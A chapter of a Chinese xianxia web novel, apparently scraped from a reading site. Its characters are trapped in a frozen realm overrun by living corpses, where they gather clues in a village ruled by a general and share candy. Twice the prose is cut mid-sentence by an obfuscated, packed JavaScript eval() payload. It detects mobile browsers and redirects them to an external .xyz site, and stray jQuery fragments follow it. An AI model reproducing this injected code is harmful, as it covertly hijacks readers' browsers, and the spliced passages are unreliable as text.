“好。”朝朝接过鸟哨和册子,分给宋长生和玄烛后,她又看向柳应星,“柳姑娘,今日多谢你出手相助了。” 柳应星冷淡地回道:“谢得太早了,现在大将军只是暂时留下你们,这里不养闲人,你们要想确保自己能一直留在这里,就向大将军好好证明你们的用途。” 留下这句话后,柳应星转身离开了屋子。 朝朝回身扫了眼屋内,其余人已经各自收回视线,低着头不再盯着他们看。 玄烛也没有多看屋内的人,泛寒的视线锁定角落一个空位后,笔直地走去。 见他靠近,空位周遭的男女急忙挪动身子,似乎不想和他离得太近。 玄烛仿佛没看到其他人的反应般,盘腿在那空位坐下,并合上双眼。 见状,朝朝也急忙小跑到玄烛身边坐下,宋长生跟在她身后,然后挨着朝朝坐下。 “朝朝姑娘,接下来我们怎么办?法术不能用,还离不开北祁,难道现在只能等其他人来救我们了吗?”宋长生低声问道。 朝朝一边翻看柳应星给的册子,一边说道:“等其他人来救有什么用?他们来了不一样还是用不了法术,离不开北祁,而且等别人救不是我的性格,咱们要想办法解决掉那些活尸。” 宋长生顿时露出愁容:“你是在说笑吗?那个柳应星都说了,活尸有很多,咱们只能用手脚和它们打,你觉得咱们能用手脚一一干掉那些活尸?” “你动动脑啊。”朝朝无奈地看向他,“不要只想着怎么打活尸,而是要想,这第一个活尸是怎么来的?” 宋长生微怔,片刻后他露出恍然大悟的表情:“你的意思是,咱们要设法找到活尸的源头,解决源头,就能解决这北祁的祸乱?” 朝朝点头:“据柳姑娘所言,活尸和冰封是同一日出现的,这可不像是什么巧合,我想这二者必然是同一人搞出的事情,若我们能找到始作俑者,就算不能除掉所有活尸,也定能破了冰封法术之法,等我们就能用法术和法宝了,想收拾活尸还不容易。” 宋长生听她说着,脸上逐渐露出喜色,不过转瞬他又消沉起来。 “我觉得此事不会有你说得那么容易,若是真如此简单,那此前来北祁的人怎么再没有出去过?”他丧气地说道。 朝朝抬手拍了拍他的肩膀,劝说道:“我知道此事不会容易,但现在不管多危险的可能我们都要尝试,消沉没有用,生机是靠自己争来的,这几天咱们就尽量收集有关活尸的线索吧。” 宋长生勉强提起些精神,对着朝朝点了点头,然后他的视线越过朝朝,看向她身旁闭目不言的玄烛。 “哎。”他轻叹一口气,用更低的声音同朝朝说道:“咱们出发时,柯耀还觉得你是一介女流,放在队伍里最没什么用的,可现在看来,你聪慧乐观,可比那位沉默寡言的小哥有用多了。” 意识到宋长生说的是玄烛后,朝朝转头看了一眼玄烛,而后重新看向宋长生,笑着说道:“那你可说错了,这位大有用处,我还要抱他大腿,受他保护呢。” “啊?”宋长生满脸不解。 不过朝朝没向他多做解释,而是低下头继续看手中的册子。 接近黄昏时分,有士兵左手端着一个盘子,右手拎着一个木桶进入屋内,放下两样东西后士兵立即转身离开了。 盘子里装的是烤过的萝卜干,桶中装的则是只有几粒米的粥。 一看见食物,众人立刻拿起身旁肮脏的空碗,齐齐冲了过去,争抢着用碗舀着粥,还直接用手抓起萝卜干塞进嘴中。 他们争得十分激烈,没一会儿盘子和木桶就都见了底,但全程都没有人发出过声音。 那无声争抢的画面,带着难以言喻的压抑感。 朝朝皱起眉头,暗暗攥紧了自己的裙摆。 宋长生的肚子叫了一声,他也饿了,可看着那惨淡的粥菜和争抢的画面,他便收了过去拿粥喝的心思,而是从身旁的包袱中取出一张大饼。 他默声盯着饼看了一阵,而后把大饼一分而二,将其中一半递给了朝朝。 “朝朝姑娘,粥已经没了,我包袱里就剩这一张饼,咱们一人一半,先将就一日吧。”他说话时,肚子又咕噜叫了一声。 朝朝笑着摇了摇头:“我不饿,也饿不坏,这半张饼你就留着明日吃吧。” 宋长生:“可是……” 朝朝没给他继续往下说的机会:“听我的,我是不会让自己饿着的,你就吃吧。” 见她坚决,宋长生便不再同她退让,把半张饼塞回包袱中,然后低头认真吃起另外的半张饼。 朝朝浅笑看着饿惨了的宋长生。 她并不是和宋长生谦让,只是她本就无需进食,吃东西无非是满足口腹之欲,不吃也不影响什么,在这粮食紧缺的情况下,让这些需要食物的人吃饱才是紧要的。 收回视线时,她瞥见那两个七八岁的小姑娘,正蹲在他们对面的墙壁前,眼睛直勾勾地盯着宋长生的饼。 之前朝朝没有多注意她们,也不清楚刚才的粥菜她们吃了多少。 看她们两个皮包骨的身体,定是没吃过几顿饱饭。 朝朝蹙眉思索了一番,随后伸手从自己的包袱中摸出两块酥糖,起身朝那两个女孩走去。 看见她走来,两个孩子都畏怕地缩成一团。 朝朝在她们身前蹲下,然后攥有酥糖的掌心,粉润的唇瓣吐出十分轻的声音。 “给你们。” 其中一个女孩抬眼看向她,又看向她手中的糖,咽了下口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987147|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。 半晌她才缓缓伸出手拿走酥糖,另一个女孩见她拿了糖,便也飞快地伸手将糖拿走。 看着她们将糖放入口中,朝朝才甜笑着起身,回到自己的位置坐下。 “朝朝姑娘给了她们吃的?”宋长生皱眉问她。 朝朝摇头道:“两块酥糖而已,填不饱肚子,但能甜甜她们的嘴巴,让她们没有那么苦罢了。” 听她说完,宋长生不免轻叹一声:“朝朝姑娘心肠太好了。” 朝朝不再应声,而是抱着双膝,将脸埋在臂弯合上双眼睡去…… * 屋外夜幕低垂,万籁俱寂。 今晚没有月,屋内也没有半点光亮。 漆黑之中,玄烛缓缓睁开眼,扫视屋内。 屋内的其他人都已合眼睡去,不过哪怕是睡着了,他们也没忘压着声音,连呼吸都十分轻浅,因为没有火炉,屋内的寒冷并不亚于屋外,所以很多人都是挤在一起睡的。 看着沉睡的众人,玄烛眸色微沉。 活尸,冰封,寒冷,饥饿,活在恐惧中的人们,被大将军一手操控的村庄。 恐怕这个幻境内要防的不是妖邪,而是人心。 玄烛一边思忖着,一边转动视线,最终视线停在了朝朝身上。 她正侧着脸趴在自己的双膝上,眨着亮晶晶的双眸望着他。 发现朝朝没有睡,而是在盯着他看,玄烛的背脊略微一僵。 转瞬他便敛起自己讶异,板着脸将视线从朝朝身上移开。 不过朝朝已经抓住他醒着这件事,她立刻展露灿烂的笑脸,直起身子往他身上靠去。 玄烛不动声色地挪了挪身子,想和朝朝拉开距离,但朝朝也跟着他一起挪了挪身子,非要紧挨着他。 他不由得皱起眉头。 转念他又想到现在不能出声,朝朝除了这样黏着他,应该也没旁的法子烦他了,就暂且忍一忍吧。 可他没想到下一瞬,朝朝抓起他搭在腿上的手,强行将什么东西塞进了他的手中。 他眸色不悦地瞥了朝朝一眼,然后才垂眸向自己的手中看去。 掌心之中静静躺着一块酥糖。 朝朝又将他的手拉过去,用食指在酥糖旁的位置一笔一划地写道。 【吃吧,给你留的。】 看她写完,玄烛的眉头皱得更紧了些。 朝朝抬头看了眼他紧皱的眉头,然后又在他的掌心中写起来。 【你不是冷着脸,就是皱着眉头,看起来很不开心,吃点甜的会让你的心情变好的。】 写完,她又笑嘻嘻着地抬头看向玄烛。 玄烛却感到有些恼火。 这家伙,把他当成那两个小女孩哄了?! 想着,玄烛将糖丢在地上。 酥糖在干草上骨碌碌滚了一圈,沾了一层肮脏的干草渣子,看着糖停下了滚动后,他把脸也转到了另一边,不再理会朝朝。 他扭过脸后,朝朝果然没了动静。 不过朝朝这样就没了动静,这倒令他生出几分奇怪。 朝朝可不是如此容易就肯罢休的性子啊。 这份奇怪在心头转了几圈,最后他没能压下心中的奇怪,又慢慢转头看向朝朝。 朝朝正歪着脑袋,无辜地眨着双眼望着他,而她左侧的腮帮子鼓鼓的,明显是在嘴里含了什么。 玄烛又低头看向刚才他丢在干草上的那颗酥糖。 那颗糖已经不见了。 玄烛的脸色蓦然一黑。 那么脏的糖,她吃了? 似是猜出了他心中所想,朝朝又拉过他的手,写道。 【没事,不干不净吃了没病。】 玄烛不免陷入沉思。 他被关在九幽之地的千年,天族已经变得如此不挑食,什么脏东西都往嘴里放了吗? 趁玄烛沉思的这功夫,朝朝又从袖中摸出一块酥糖,直接将糖塞进了玄烛嘴中。 感觉到口中的甜意,玄烛先是一怔,然后他又皱起眉头,作势要将糖吐出去。 朝朝连忙抓住他的手写起来。 【吐掉的话我会再捡起来吃哦。】 原本玄烛已将酥糖送到唇边,准备吐掉了,可感觉到朝朝写的这句话后,他竟难得地犹豫起来。 在他犹豫时,酥糖的甜意已经开始蔓延,先是在舌尖柔和的缠绕,然后是占满整个口中的浓郁糖香。 玄烛被囚入九幽之地时,世间还没有糖这种东西,所以他真的不知道甜是什么滋味。 之前朝朝给他的糖葫芦,是他第一次尝到甜味,但他并不喜欢。 他不喜欢的不是甜味本身,而是这种甜蜜的感觉很像朝朝。 她总是在笑,总是乐观,还时不时展露温柔的一面,就像糖一样,会用甜意淡化心中的恨。 可玄烛注定要憎恨这世间一切美好的东西。 憎恨天高海阔,骄阳朗月,憎恨万界万物,有始无终,憎恨此刻舌尖上挥之不去的甜意,更憎恨眼前永远开朗的朝朝。 越是憎恨,口中的糖便越甜。 他的眸色又变得幽幽沉沉,带着一股莫名的寒意看向朝朝。 面对他可怖的视线,朝朝紧张地抿起唇瓣,半晌她委屈巴巴地转了转眸子,拉过玄烛的手再次写起来。 【我承认,我喂给你的其实才是你刚才丢在地上的那颗糖,对不起。】 玄烛:“……” 现在他心中没有憎恨了。 只剩下想吐。 23. 雪地凶尸 看着玄烛越来越难看的脸色,朝朝实在忍不住了,捂着肚子仰面无声的笑起来。 笑了许久她才停下,抹掉眼角笑出的泪花后,她又拉过玄烛的手写道。 【逗你呢,你丢掉的那颗我藏起来了,你和我吃的都是干净的。】 即便她如此说,玄烛的火气还是难消。 他欲将朝朝的手甩开,朝朝却用力按着他的手继续写道。 【谢谢你。】 她写完,玄烛皱起了眉头。 朝朝浅笑着抬头看他一眼,然后继续写道。 【你不是帮我移开了大将军的臭手吗?】 玄烛露出冷漠的神色。 他并不是在帮朝朝,只是厌烦大将军那副高高在上,宛若天族的模样,所以他想弄断大将军的手而已。 朝朝并没有注意他冷漠的脸色,而是若有所思的用食指指腹,轻轻地敲打着他的掌心。 她的手指修长纤细,指腹柔软,每敲打一下,都会在玄烛的掌心留下一点热度。 起初只是一点点,但随着敲打的累积,那一点,渐渐变成了难以忽略的暖意。 这暖意像一个跳动的火苗,驻停在他的掌心中,缓慢地钻入肌肤,融入血骨。 明明不带半点危害,但玄烛却被这暖意灼痛了。 他刚想收回手,朝朝又抓着他的手写起字来。 【你……】 只写下一个字,她就犹犹豫豫地停下,然后挥手在他的掌心上擦了擦,似乎是想抹去刚才写下的字。 玄烛略带疑惑地看向她,朝朝却只是笑着摇了摇头,然后放开他的手,自顾自的趴在自己的双膝上合眼睡去。 玄烛莫名有些恼火。 这家伙!怎么不把话写完?! 他下意识抬手想把朝朝摇醒,可快要碰到朝朝时,他又连忙停住手。 留着朝朝,只是因为她有可以利用的地方,顺便看看她身上有什么秘密。 所以,应该是他来主导她。 万不能被朝朝牵着鼻子走。 想着,他慢慢收回了手…… 这一夜,朝朝竟做了梦。 她梦到自己与崇明上神面对面站在十恶境前,崇明上神负手而立,神色严肃地看着她。 “朝朝,此事必须由你去做。” “我不明白,我不过是一个典灯小仙,为什么非要我去做?” “不要问,也不要试图去寻找答案,你只需按我说的去做,闭上眼,捂住耳朵,旁的事全都不要管。” “为什么?我想要一个答案!” “去吧,朝朝,跟随天魔去往幻境深处,取回追曜珠……” 梦境戛然而止,她从梦中醒来。 她困顿地睁开双眼时,宋长生正蹲在她身边轻摇着她的身体。 “快醒醒,刚才来人了,让咱们几个出去干活呢。” “干活?什么活?”朝朝揉着眼睛,奇怪地问道。 宋长生:“我也不清楚,就是让咱们出去。” 朝朝扫了眼四周,屋内除了缩在角落里的两个孩子,其他人都已不在,包括玄烛也不知去了哪里。 她没有多问,起身跟着宋长生走出屋子。 走出屋子她才看见玄烛。 玄烛冷着脸站在屋门旁,见她走出时,眉头略微皱了下,随后他神色疏冷地移开眼看向别处。 朝朝乖巧地在他身旁站好,心想他莫不是还在为昨晚的那个玩笑生气吧? 她正思索着该如何哄好玄烛,一名个子矮小,头顶刚到朝朝胸膛的士兵肩扛着尖枪走到三人面前,沉声道:“会画图的去大将军屋中画图,剩下的两个,男的去劈柴,女的去洗衣服。” 他简短地说完后,又扛着尖枪直愣愣地离开了。 看那士兵走远,宋长生露出愁色:“这可怎么办,咱们三个被分开了。” “分开挺好的,更方便咱们收集线索了。”朝朝笑着说道。 被她一点,宋长生也开了窍,点头附和:“你说的对,咱们分开行动,才能更快地收集到线索。” 朝朝摸着下巴想了想,而后凑近宋长生低声说道:“你在大将军那里,不仅要打探活尸的事,还要旁敲侧击地打探些大将军自己的事,这村庄被他掌控着,多了解他一些,对我们也有益处。” 宋长生点头应下后,立刻兴冲冲地向大将军的房子跑去。 然后朝朝回头看向玄烛,才发现玄烛不知何时又没影了。 不愧是天魔,有着神出鬼没的好本事。 今日天空比昨日晴朗许多,但萧瑟的冬并未减少半分寒。 朝朝跟着一个妇人去往村庄北边的一间屋子,屋中有四个女人,模样看起来都在三十岁左右,她们各自坐在一个大木盆前,埋头洗着盆中的衣服,身旁还堆着三座堆成小山的脏衣服。 朝朝进入屋中后,四个女人一起抬头看了她一眼,但很快又低下头,继续洗手中的衣服。 带着朝朝过来的妇人指了指放在角落的木盆:“你去那里洗。” 说完,这妇人便头也不回地离开了。 朝朝走到木盆前坐下,双手一伸到水中,便感受到刺骨的寒冷。 她本能地缩回手,抬头看向那四个洗衣的女人。 所有人的木盆中装得都是带有冰碴儿的水,她们的手上尽是严重的冻伤,大抵是常常在这样的冰水中洗衣。 如此艰苦危险的境况下,那个大将军自然不会费事给她们弄热水洗衣,她们也不敢多事,只能日日将手泡在这冰寒刺骨的水中。 朝朝微张唇瓣,想说些什么,可很快她便意识到自己距离她们有些远,那四人面对面围成圈坐在一起,而她独自坐在角落中,说什么都不太方便。 于是她站起身,把木盆拉至其中模样看起来最年轻的女人身旁,然后重新坐下。 她将手伸入冰水中,随意地揉搓几下衣服后,低声开口和那四人闲聊起来:“我叫朝朝,昨日刚被大将军收留,不知该如何称呼几位姐姐?” 话音落下,无一人回应,她们都继续低头做着自己手中的事情。 朝朝没有气馁,继续笑着问道:“我刚来这里,有很多不懂的地方想请教几位。” 还是没人理她。 从昨日开始就是,这里的人都很排斥村庄中的新人。 要想让她们开口说话,就要先获得她们的信任。 她转着眸子思忖一番,然后猛然将自己的一只手伸入最年轻的那个女人的盆中。 女人一惊:“你做什么?” “稍等一下,很快就能好了。”朝朝没有仔细解释,只是含糊地回了句。 女人愣怔住,许久才回过神,不悦地推了一下朝朝:“起开,别耽误我洗衣服!” 朝朝感觉也差不多了,便顺着女人的动作收回手。 女人瞪了她一眼,等将手再伸入水中时,女人又一次愣住。 瞧见女人神色异样,坐在其对面的女人低声问道:“喜儿,怎么了?” “这、这、这水是温的。”叫喜儿的女人有些惊讶地说道。 一听这话,喜儿旁边的女人立刻探头来看,瞧见水面果真没有冰碴儿了,又用手指尖试探水面,随后看向另外两人点头说道:“这水果然是温的。” 四人齐齐转头,诧异地看向朝朝。 “你能用法术?”其中一人问道。 朝朝对她们灿烂一笑。 昨夜她思量了很久,虽说此地禁了法术,但她不死不伤的能力还在,这就说明,像这种生来就有的能力,并不算在法术之列,所以不会受到冰封的影响。 而她生来身体里就流动着至阳之火,可以通过调整火焰的强度来提高或降低自己的体温,她之前还用过这招给玄烛取暖过。 她猜只要不是用法力驱使至阳之火攻击他人,这招应该也不会被冰封,刚刚她的尝试正好帮她证明了这个猜想。 不过,这招有个副作用。 那四个人还在等她解释,她收回思绪,简短的说了下:“我是西域的异士,这不是法术,而是我生来就有的能力。” 说着,她将手伸入另外一人的木盆中:“这水太冰,我看姐姐们的手都冻坏了,我这能力虽杀不了活尸,但能帮姐姐们少受些苦也算值了。” 喜儿在旁边默声看着她,半晌缓声问道:“你叫什么?” “我叫朝朝。”朝朝开朗地回答,正好手上这盆冰水也温好了,她又积极地去帮下个人温水。 喜儿的脸色缓和了许多,低头用力揉搓起盆中的衣裳:“你想问什么?” 见她松了口,朝朝连忙说道:“我就是想问活尸的事,昨日我到这里时两眼一抹黑,什么也不知道,头次看到那缺胳膊少腿的活尸,魂都快吓没了。” 喜儿有些无奈地吐出一口气:“那你不用问了,关于活尸的事,我们也说不清楚。” 朝朝又挪动身子去帮最后一人温水:“不清楚?难道姐姐们不是北祁人,都是后进入此地的?” “我们就是这村中的住民,但活尸之乱是从皇城开始的,我们这里距离皇城遥远,活尸在皇城内作乱时,我们对此事还一无所知呢,等我们知道有活尸时,这玩意儿早已泛滥了。” 说着,喜儿轻叹一口气:“就我们这帮穷苦人可怜,被这天杀的邪物弄得家破人亡,可我们却对它们从何而来一无所知,就连现在知道的那点活尸的事,也是从那些自皇城逃难过来的人的嘴里听说的。” 朝朝若有所思地回到自己的木盆前坐下,又开口问道:“那活尸善于听声这种事,也是从其他逃难者那里听来的?” 坐在喜儿旁边的女人忽地插嘴进来:“其实也不是别人,这些都是大将军告诉我们的,大将军本是我们这里驻守的将军,半年前进宫面圣时,正好赶上这档子乱事,他只能一边灭杀活尸,一边撤退回这里,因为和活尸交手过很多次,所以他才会了解那玩意儿,我听说他去皇城时带了一千人,回来时就只剩下两百多人了,其他的也都变成活尸了。” “一千人?”朝朝有些奇怪地喃喃道:“他一个戍边将军,为何会带那么多的士兵进皇城面圣啊?” 喜儿回道:“那是因为当时大将军有个宝贝要敬献给圣上,所以才会带了一千人护送宝贝进皇城,这些都是圣上应允的。” “这样啊。”朝朝略作停顿,开口道:“感觉大将军人挺好的,就是分给咱们的食物有点……” 听到这话,喜儿神色有些严肃地看向她:“食物本来就缺,有的吃就不错了,大将军是个好人,哪怕只剩下那两百多个士兵,他还是带着他们拼死守下了我们这村庄,你莫要因为吃不饱就在这里说嘴大将军!” 瞧出她的不悦,朝朝连忙解释:“我没有那意思,大将军收留了我们,我感谢他还来不及呢,怎么会说他坏话呢。” 喜儿在她身上扫了一眼,随后又洗起手上的衣服,低声说道:“看你这穿着打扮,估摸着以前是不愁吃喝的富贵人,到了这里挨饿受冻的,心里不舒坦也正常,不过你要知道外面全是活尸,吃和穿都变成了金贵物,这些就该给省给那些守着村庄的士兵用,他们吃饱穿暖了才能替咱们抗住活尸,你要真想把自己的苦怨到谁头上,就怨那该死的活尸,还有把你派进来的南麓皇帝头上吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011798|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了不破坏这好不容易才拉近的关系,朝朝只能用力点头认同喜儿的话。 看来村庄中的人虽然过得凄惨,但都不怨恨大将军,且十分抵触旁人说大将军的坏话。 以后谈论有关大将军的事时,需多加小心了。 她暗自思忖着,低头搓了两把盆里的衣裳,但很快她便发现奇怪之处,将手中的衣裳提起来。 那是件很小的衣裳,也就和她的小臂一边长,明显是给婴儿穿的。 朝朝:“这个……” 一个女人看向那件小衣裳,随后连忙从她手中接过去:“诶呦,怎么把孩子的衣裳丢到这堆脏衣服里了!肯定是静娘粗心搞错了,我这就给她送过去。” 朝朝看着那女人拎着小衣裳跑了出去,自己只好捡起其他衣服洗,面上假装漫不经心地开口:“村庄里还有婴儿啊?哎,真是可怜,外面活尸横行,大人尚难自保,婴儿连自理的能力都没有,岂不是活得更为艰难。” “放心吧,大将军对婴孩会格外保护。”喜儿轻声同她说:“现在村庄里有五个尚在襁褓之中的婴儿,都是近三个月出生的,大将军将孩子统一收到他隔壁的屋子,由奶娘喂养。” 朝朝:“由奶娘喂养?怎么不让那些婴儿的娘喂养?” 喜儿的语气变得有些无奈:“让孩子的娘自己喂,就要给给那五个娘吃好的补身子,不然哪有奶.水喂孩子?可要是交给奶娘喂,就只需给奶娘一人补身子,如此便能节省下不少食物,而且将军说了,把孩子分开来养,不如把孩子放到一起养安全。” “有道理。”朝朝应和着她的话点头。 转瞬她想起昨日玄烛看到的那个抱着婴孩的女人,笑着同喜儿说道:“昨日我看见一个抱婴孩的女人,挺瘦的,应该就是孩子们的奶娘吧?” “瘦?”喜儿蹙眉想了想,而后摇头道:“奶娘挺胖的,你说的应该是静娘,又聋又哑,大将军可怜她,就让她帮着奶娘照顾孩子,她照顾得好,大将军也会多分些食物给她。” 朝朝:“原来如此……” 正说着,屋外突然传来一串脚步声,一个士兵打开门,冷着脸扫了眼屋内的几人后,压低声音不悦地说道:“快洗!今天洗不完这些衣服,你们晚上就没得吃了!” 说完,士兵又关上门离开了。 喜儿叹了口气,同朝朝说道:“快洗吧,大将军人好,但他手下的士兵都很凶,偷懒的话他们可是不会轻饶的。” 朝朝点点头,手上又卖力地搓起衣服,心下隐隐觉得自己好像忘记了什么。 她暗暗整理起现在得到的所有线索。 活尸之事,村民们其实并不清楚,此事还需从皇城回来的士兵们那里深挖,至于那个大将军,虽一手掌控着村庄,看起来很傲慢,但深受村民拥护,而且目前所做之事即便有些极端,但都有理有据,此人是恶是善,还难以下判断。 等会儿去问问玄烛和宋长生都查到了什么…… 玄烛!!! 糟了!她竟把玄烛给忘了! 玄烛被叫去劈柴了!可那家伙会乖乖听别人的话做事吗?! 如果哪个士兵训他一顿,惹恼了玄烛,他很有可能会把士兵按在木桩上,当成木柴劈了! 士兵被劈的画面都已经在眼前浮现了,朝朝猛地站起身,飞快地说道:“我肚子疼,要去茅房!” 说完,她急匆匆地跑出了屋子。 天君大人保佑,千万别让玄烛杀什么人,不然他们在这村庄里可就混不下去了!! 她卖命地倒腾着双腿,在村庄里绕了大半圈,终于在村庄中心的一片空地上瞥见了玄烛的身影。 玄烛单手拎着斧头,冷着脸站在一个木桩前。 木桩上则站着今日给他们分配劳作的矮小士兵,他与玄烛面对面站着,手上横举着那把长长的尖枪。 然后,玄烛对那士兵缓缓抬起拿着斧头的手…… 看着那画面,朝朝摇着头冲过去:“不——要——啊——” 因为慌乱而拉长的语调,怕招来活尸而刻意压低的声音。 这可能是朝朝这辈子发出过的最古怪的声音。 但她还是晚了一步。 只见斧头迅速落下,当啷一声,那士兵手中的长尖枪便被砍断一小截。 矮小的士兵跳下木桩,挥了挥变短的尖枪后,开心地对玄烛说道:“这东西终于称手了,之前太长了,我用着不舒服,谢啦!” 他说完的瞬间,朝朝面朝下摔趴在雪地上,最后是趴在地上滑到那二人面前的。 看着突然滑来的朝朝,士兵奇怪地眨眨眼:“你谁啊?跑这来做什么?” 朝朝颤颤地从雪中抬起脸,沾满雪的脸尴尬的笑笑:“我,我就是来看看他。” “看他?”士兵有些不明白,看向玄烛疑惑地问道:“看你吗?看你做什么?” 玄烛垂着幽冷的视线睨着趴在地上的朝朝,缓慢地吐出低沉的声音:“她是担心,我会杀了你,所以才来看看。” 这话让士兵更糊涂了,看向朝朝问道:“杀我?怎么可能啊?这兄弟人好得很,我说我这尖枪用着不顺手,他就说帮我改改,这么好的人怎么可能会杀我呢?” “不,她的担心没错。” 玄烛的唇角弯起一个森然的弧度,对那士兵阴冷地说道:“最开始,我的斧头瞄准的是你的头。” 士兵怔怔地看着他。 许久,士兵竟哈哈大笑起来:“这个笑话好笑,没想到你脸看着挺冷,人还挺幽默的!” 朝朝忍不住在心里大喊。 不,他没在开玩笑啊!你可长点心吧小兄弟!!